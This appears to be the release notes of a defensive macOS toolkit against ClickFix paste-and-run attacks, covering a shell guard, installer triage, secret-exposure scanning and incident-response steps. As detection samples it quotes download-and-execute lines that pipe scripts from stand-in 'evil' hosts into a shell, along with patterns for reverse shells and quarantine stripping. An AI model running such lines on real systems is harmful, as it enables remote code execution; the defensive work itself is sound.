Releases: DareDev256/clickfix-defense-kit
Release list
v0.3.0 — the installer you were about to double-click
ShellGuard guards the shell prompt. That is one execution path, and macOS has many.
A double-clicked .command. A .pkg whose install script runs as root. An .app inside a DMG. A .scpt that opens in Script Editor. None of them touch a zsh prompt, so none could ever be caught at accept-line — and the kit had no coverage of the deliver stage at all.
DownloadTriage
./downloadtriage/downloadtriage.zsh # ~/Downloads, last 30 days
./downloadtriage/downloadtriage.zsh --json # machine-readableRead-only. Nothing is opened, mounted, installed, or executed.
Why .pkg is the case that matters
A package's preinstall/postinstall runs as root — and you are conditioned to type an admin password into Installer.app, because that is what every legitimate install looks like.
GuestMode's "a phished password can't escalate" framing does not cover this. The escalation is the installer's documented behaviour, not an exploit.
So DownloadTriage expands the package and runs its install scripts through the same grammar that guards your shell prompt. If it would be blocked at your terminal, it is flagged in the installer too — and you are shown the script:
[!] Hostile-Installer.pkg
quarantine ABSENT gatekeeper REJECTED signer unsigned
• Its install script matches a download-and-execute pattern — and .pkg
scripts run as ROOT.
--- install script ---
#!/bin/bash
curl -fsSL https://evil.test/stage2.sh | bash
pkgutil --expand-full unpacks; it never executes. A test asserts exactly that, using a fixture whose postinstall would create a marker file — the marker never appears.
A false positive I only found by running it for real
Against a genuine 237-item Downloads folder, an early build reported the official Signal installer as "REJECTED — unsigned."
spctl -a with no type argument assumes an executable, so it returns "no usable signature" for perfectly legitimate .dmg and .zip files. A security tool that tells you Signal is unsigned is worse than no tool.
Gatekeeper verdicts are now rendered only where Gatekeeper actually judges: .app, .pkg (with -t install), and Mach-O binaries. For a .dmg it says plainly that the signature lives on the app inside and was not checked, and offers --mount. Archives are never assessed; shell scripts are read through the grammar instead.
Real-folder flag count: 15 → 3.
Also fixed: the shared grammar leaked variables into stdout
local re-declared inside a loop makes zsh echo name=value. clickfix_check did this in three places, so d=socat leaked into the output of anything sourcing the grammar. Invisible in ShellGuard (writes to /dev/tty) and in the corpus runner (reads only the verdict) — it took a consumer that prints to stdout to surface it.
Honest prior art
Objective-See's WhatsYourSign is the better everyday "who signed this?" tool and is linked in the README. spctl, codesign and xattr ship with macOS and are what this shells out to. The additive sliver is narrow and stated as such: connecting .pkg install scripts to the ClickFix grammar.
DMGs are not mounted without --mount, because mounting is itself a delivery step in current campaigns.
Verifying
git verify-tag v0.3.0 # key: SHA256:ahS0yuup97TRBRmaRzk3iEbUlo/IK+VqXgd0sada2KU
./install.sh --verifyTests
12/12 downloadtriage · 78/78 detection corpus · 10/10 WatchPost baseline · 4/4 pty integration · 72 ExposureScan. Seven CI jobs, five on macOS runners.
v0.2.0 — the hour after a breach
The kit was born from a breach and, until now, had nothing for the hour after one. Repo-wide grep before this release: "revoke" 0 hits, "forwarding rule" 0, "deploy key" 0, "reinstall" 0.
If you are in an incident right now
./panic.sh --short # the ordered checklist, phone-sized, no network needed
./panic.sh --triage # ...plus live "did anything get root?" probes
./preserve.sh # capture evidence BEFORE you start cleaning upOr open INCIDENT.md on your phone.
The ordering is the deliverable. Two steps are commonly inverted, and both inversions waste the whole effort:
- Crypto first. It is the only irreversible loss. A seed phrase is the wallet — "change the password" does nothing.
- Kill sessions before changing passwords. A stolen cookie authenticates without your password and without your 2FA, and a password change does not reliably invalidate sessions that are already live. Reset first and stop there, and the attacker is still signed in — behind a new password that now protects nothing.
Then: revoke OAuth grants (they survive every password change) → passwords, email first → the mail-persistence sweep (forwarding, filters matching reset/verify/code, send-as aliases, delegated access, app-specific passwords, recovery address and phone — all invisible in normal use, all surviving a reset) → developer tokens in blast-radius order, npm/PyPI publish tokens first, because that is where a personal breach becomes a supply-chain breach.
New in ExposureScan
scan_dev_credentials — the highest-pivot files on a solo dev's Mac, previously unscanned. SSH keys (plaintext vs encrypted, read from the header only), 11 credential files by key name and mode, shell-history token counts by line number, per-profile cookie counts, crypto wallet stores (20 extensions + 13 desktop bundles, unconditional P0), and Firefox login counts so the report is not silently Chrome-shaped.
--tcc — the grant inventory the README's central argument always implied and never delivered. It has always said malware inherits the grants of the trusted binary it runs inside; now it tells you which binaries those are. P0 for terminals, shells, SSH wrappers and bare interpreters holding Full Disk Access, Accessibility or Screen Recording — those are grant-inheritance vehicles, not apps. Run it. The answer is usually uncomfortable.
Fixed: WatchPost could be blinded by one rm
Deleting baseline.json was treated as a first run — the next run printed "No diffing on first run" and silently absorbed whatever had just been planted as legitimate. An .armed marker now makes deletion an alertable event. Editing the baseline directly, to pre-seed an entry so a later plant diffs as already-known, is caught by an HMAC tag. The baseline is 0600 in a 0700 directory; it was 0644, and it enumerates every persistence entry on the machine.
What was deliberately not built
preserve.shdefers entirely to Jamf Aftermath when installed. Free, Swift, purpose-built, collects a superset. Reimplementing it would be worse code doing a solved job.- No general hardening scanner. FileVault, firewall, update settings, sudoers, the CIS sweep — mSCP and Pareto Security own that and own it better. Only the narrow ClickFix-relevant slice ships.
Honest limits
- WatchPost's HMAC key sits beside the baseline under the same user, so anyone already running as you can forge it. This is tamper-evidence, not tamper-proofing. The root-owned variant that would be proof is named and not claimed.
- Safari login counts need a keychain prompt to obtain. The report names the surface and says why, rather than printing a number it cannot stand behind.
- The Verified badge on this tag only means GitHub matched the signature to a key on this account.
git verify-tagagainst the published fingerprint is the real check, because you control the allowed-signers file and GitHub does not.
Verifying
git verify-tag v0.2.0 # key: SHA256:ahS0yuup97TRBRmaRzk3iEbUlo/IK+VqXgd0sada2KU
./install.sh --verifyTests
78/78 detection corpus · 10/10 WatchPost baseline integrity · 4/4 pty integration · 72 ExposureScan (was 47). Six CI jobs, four of them on macOS runners. Both feature commits are independently green, so git bisect stays usable.
v0.1.1 — security release: 9 silent bypasses closed
Security release. If you are running v0.1.0, upgrade.
v0.1.0's detection grammar was adversarially tested for the first time and it did not hold. Nine of thirteen realistic ClickFix payload shapes passed ShellGuard silently — no prompt, no banner, no log entry. ExposureScan's headline privacy invariant was false for the exact secret class it ranks P0. And ShellGuard's confirmation prompt could not actually be completed.
This project's pitch is that it refuses claims it cannot back. That has to include claims about itself, so every bypass is published in full rather than fixed quietly.
What got through v0.1.0
Verified against the shipped regex before the fix, and now asserted in tests/corpus.tsv:
| Payload | v0.1.0 | v0.1.1 |
|---|---|---|
curl "https://evil/x?a=1&b=2" | sh |
silent | block |
curl https://evil/x | bash; |
silent | block |
curl https://evil/x | /bin/sh |
silent | block |
curl https://evil/x | \sh / | command sh |
silent | block |
bash -c "$(curl -fsSL https://evil/x)" |
silent | block |
$(curl https://evil/x) |
silent | block |
curl …raw.githubusercontent.com/<attacker>/… | sh |
silent | block |
curl … | tee /tmp/p | sh |
silent | block |
curl -o /tmp/p https://evil/x; sh /tmp/p |
silent | warn |
osascript -e 'do shell script "curl … | zsh"' |
silent | block |
curl https://evil/x | sh (control) |
block | block |
Root causes
A hand-written regex over an unparsed shell command cannot survive shell syntax. One & in a query string killed the [^|;&]* run. One trailing ; killed the ([[:space:]]|$) anchor. A path, a quote or a backslash killed the bare-literal interpreter match. Detection is now a tokenizer that respects quoting, splits into statements and pipeline stages, and normalizes each stage's command word — evasion requires changing what the command does, not how it is spelled.
A host the public can publish to can never be a trust anchor. raw.githubusercontent.com shipped in the default allowlist, so the guard was telling an attacker where to stage a payload it would then wave through in silence. Trust is now scheme + host + path prefix.
read -r < /dev/tty inside a ZLE widget never returns. The line editor holds the terminal in raw mode with echo off, and Enter sends CR rather than LF. The typed-phrase gate — the entire point of the block tier — was not completable by anyone. Now uses read-from-minibuffer, covered by a test that drives a real interactive zsh over a pty and checks a marker file to prove an aborted payload does not execute.
Two copies of a grammar always drift. ClipSentinel's allowlist was a substring test over the whole clipboard containing the token install.sh, so the published AMOS IOC shape raised nothing and a trailing # deno.land silenced the tool entirely. Both layers now share one file, and CI fails if either grows a private host list or regex again.
ExposureScan emitted secrets. A 12-word BIP-39 seed phrase passed redact() byte-identical. Apple Notes titles were emitted verbatim — and macOS derives the title from the note's first line, so for the exact person that surface exists for, the secret was the title. Seed-phrase detection matched only the label, so a note containing nothing but the twelve words was never flagged at all.
canary --list had never worked. It aborted with kind: unbound variable on any non-empty ledger.
Full write-up: SECURITY.md · CHANGELOG
Also in this release
- A
warntier. Banner plus a single Enter, for heuristics with real false-positive rates. The typed phrase is reserved for unambiguous attacks so it never becomes muscle memory — an uninstalled guard catches nothing. - False positives fixed as defects: comment stripping, quoted-vs-unquoted
/dev/tcp, andpython -cnow requiring both a network and an exec primitive (v0.1.0 flaggedpython3 -c "import os; os.system(1)"with no network at all). - New detections:
xattrquarantine stripping,hdiutil attachof a remote image, zero-width/bidi/homoglyph characters, non-base64 decoders. install.shverifies the checkout before touching your system, and refuses on a dirty tree.- Corrected README claims: macOS 26.4's paste warning does not inspect paste contents and is suppressed outright when developer tools are present. And BlockBlock covers paste-time as of Feb 2026, so "the genuinely unoccupied control point" is no longer true — ShellGuard's honest claim is now zero-permission, and the only layer that sees a typed command.
Verifying this release
git clone https://github.com/DareDev256/clickfix-defense-kit.git
cd clickfix-defense-kit
git verify-tag v0.1.1 # signing key: SHA256:ahS0yuup97TRBRmaRzk3iEbUlo/IK+VqXgd0sada2KU
git checkout v0.1.1
./install.sh --verifySetup for git verify-tag is in SECURITY.md → Verifying what you cloned. SHA256SUMS and SHA256SUMS.sig are attached; verify with ssh-keygen -Y verify.
The signing key is registered with GitHub, so this tag also shows as Verified in the web UI. Do not treat that badge as the check — it only means GitHub matched the signature to a key on this account. git verify-tag against the fingerprint above is the check, because you control the allowed-signers file and GitHub does not.
Tests
78/78 detection corpus · 4/4 pty integration · 47/47 ExposureScan (was 12). The corpus and pty tests run on macOS runners — [[ =~ ]] binds to the platform regex library, so a Linux-green corpus proves nothing about the only OS this kit runs on.
v0.1.0 — ClickFix Defense Kit
Initial public release. Six independent, defensive tools plus a top-level
interactive installer, assembled into a defense-in-depth kit for solo developers,
freelancers, and families on a single Mac.
Added
- ShellGuard — zsh ZLE
accept-linecommand guard. Intercepts
download/decode-and-execute commands (curl|sh,eval $(curl),
base64 -d | sh,osascript | sh,/dev/tcpreverse shells) at execute time
and forces a typed confirmation phrase. Chains to existingaccept-line
widgets (syntax-highlighting, autosuggestions, oh-my-zsh) instead of clobbering
them. Trusted-host allowlist and per-session disable for false-positive
tuning. Bracketed-paste advisory warning. Zero dependencies, no network. - ExposureScan — local, read-only secret + PII blast-radius self-audit for
macOS. Inventories four credential/PII surfaces (browser logins, Apple Notes,
.envfiles,~/.secrets) plus PII markers, and prints a prioritized
(P0–P3) blast-radius report. Names and counts only — secret values are never
read, decrypted, stored, or printed, an invariant enforced by aredact()
chokepoint and covered by a CI test. Python 3.11+ stdlib only. JSON sidecar for
week-over-week diffing. - ClipSentinel — dependency-free macOS clipboard watchdog. Fires a
notification the instant a dangerous command lands on the clipboard (copy-time
early warning), using a change-gatedpbpastepoll. Allowlist for trusted
installer one-liners. Argv-passed (injection-safe)osascriptnotifications. - Canary — honeytoken tripwire generator. Plants traceable decoy credentials
(fake AWS keys,.env,passwords.txt) where infostealers grab them, with a
walkthrough to wire them to canarytokens.org (network callback) and/or
eslogger(local read-watch). Ships token-minting code and decoy templates
only — never any minted/live tokens. Ledger + revert; refuses to overwrite
real files. - WatchPost — zero-dependency macOS persistence + login-item change monitor.
Baselines LaunchAgents, LaunchDaemons, cron, and login items, then diffs on a
schedule and notifies on new/tampered entries with acodesignverdict.
Designed for unattended/headless Macs where an interactive prompt can't reach
you. Alerts on additions and tampering, not removals. - GuestMode — family-safe non-admin macOS account setup. Dry-run-by-default
script (two gates + typedCREATEto mutate) plus a fully documented manual
path, creating a standard (non-admin) account so a phished password can't
escalate and a guest can't read your home directory. Stock-macOS blast-radius
reduction layer. - Top-level
install.sh— interactive menu installer/uninstaller that can
install each tool individually; idempotent; with an uninstall path. No
curl | bashdelivery, on purpose. - Project docs —
README.md(origin story + threat explainer + tools table +
permissions rationale + honest positioning),LICENSE(Apache 2.0),
SECURITY.md(responsible use + reporting),CONTRIBUTING.md,.gitignore
(defensive secret/PII exclusions).
Security / positioning notes
- The differentiated novelty is ExposureScan (value-absent, blast-radius
self-audit that inverts the find-and-print-the-value posture) and
ShellGuard (execute-time zsh grammar gate on an otherwise-unoccupied macOS
control point). WatchPost, the Canary network-callback half, and GuestMode
intentionally defer to and point at prior art (Objective-See, Thinkst
Canarytokens, stock macOS) — seeREADME.md. - Apache 2.0 throughout. The kit shells out to external tools (e.g. Gitleaks)
rather than vendoring them, and deliberately does not copy any AGPL/GPL code
(notably it does not vendor TruffleHog).